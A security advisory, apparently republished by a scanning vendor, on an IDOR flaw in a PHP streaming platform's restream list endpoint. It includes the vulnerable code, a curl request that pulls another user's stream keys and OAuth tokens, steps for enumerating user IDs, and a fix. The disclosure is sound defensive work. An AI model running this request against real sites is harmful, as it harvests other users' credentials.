The endpoint plugin/Live/view/Live_restreams/list.json.php contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user with streaming permission to retrieve other users' live restream configurations, including third-party platform stream keys and OAuth tokens (access_token, refresh_token) for services like YouTube Live, Facebook Live, and Twitch.
The authorization logic in list.json.php is intended to restrict non-admin users to viewing only their own restream records. However, the implementation at lines 10-14 only enforces this when the users_id GET parameter is absent:
// plugin/Live/view/Live_restreams/list.json.php:6-19
if (!User::canStream()) {
die('{"data": []}');
}
if (empty($_GET['users_id'])) { // Line 10: only triggers when param is MISSING
if (!User::isAdmin()) {
$_GET['users_id'] = User::getId(); // Line 12: force to own ID
}
}
if (empty($_GET['users_id'])) {
$rows = Live_restreams::getAll();
} else {
$rows = Live_restreams::getAllFromUser($_GET['users_id'], ""); // Line 19: attacker-controlled ID
}
When a non-admin user explicitly supplies ?users_id=<victim_id>, the value is non-empty, so the override at line 12 is never reached. The attacker-controlled ID passes directly to getAllFromUser(), which executes:
// plugin/Live/Objects/Live_restreams.php:90
$sql = "SELECT * FROM live_restreams WHERE users_id = $users_id";
This returns all columns from the live_restreams table, including:
stream_key (VARCHAR 500) — the victim's RTMP stream key for third-party platformsstream_url (VARCHAR 500) — the RTMP ingest endpointparameters (TEXT) — JSON blob containing OAuth credentials (access_token, refresh_token, expires_at) obtained via the restream.ypt.me OAuth flowOther endpoints in the same directory correctly validate ownership. For example, delete.json.php:19:
if (!User::isAdmin() && $row->getUsers_id() != User::getId()) {
$obj->msg = "You are not admin";
die(json_encode($obj));
}
This ownership check is missing from list.json.php.
Prerequisites: Two user accounts — attacker (user ID 2, streaming permission) and victim (user ID 1, has configured restreams with third-party platform keys).
Step 1: Attacker authenticates and retrieves their session cookie.
Step 2: Attacker requests victim's restream list:
curl -s -b 'PHPSESSID=<attacker_session>' \
'https://target.com/plugin/Live/view/Live_restreams/list.json.php?users_id=1'
Expected response (normal behavior): Empty data or error.
Actual response: Full restream records for user ID 1:
{
"data": [
{
"id": 1,
"name": "YouTube Live",
"stream_url": "rtmp://a.rtmp.youtube.com/live2",
"stream_key": "xxxx-xxxx-xxxx-xxxx-xxxx",
"parameters": "{\"access_token\":\"ya29.a0A...\",\"refresh_token\":\"1//0e...\",\"expires_at\":1712600000}",
"users_id": 1,
"status": "a"
}
]
}
Step 3: Attacker can enumerate all user IDs (1, 2, 3, ...) to harvest all configured restream credentials across the platform.
Add an ownership check in list.json.php consistent with the pattern used in delete.json.php and add.json.php:
// plugin/Live/view/Live_restreams/list.json.php — replace lines 10-14
if (!User::isAdmin()) {
$_GET['users_id'] = User::getId();
}
This unconditionally forces non-admin users to their own user ID, regardless of whether the users_id parameter was supplied. The empty() check should be removed so that the parameter cannot be used to bypass the restriction.
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.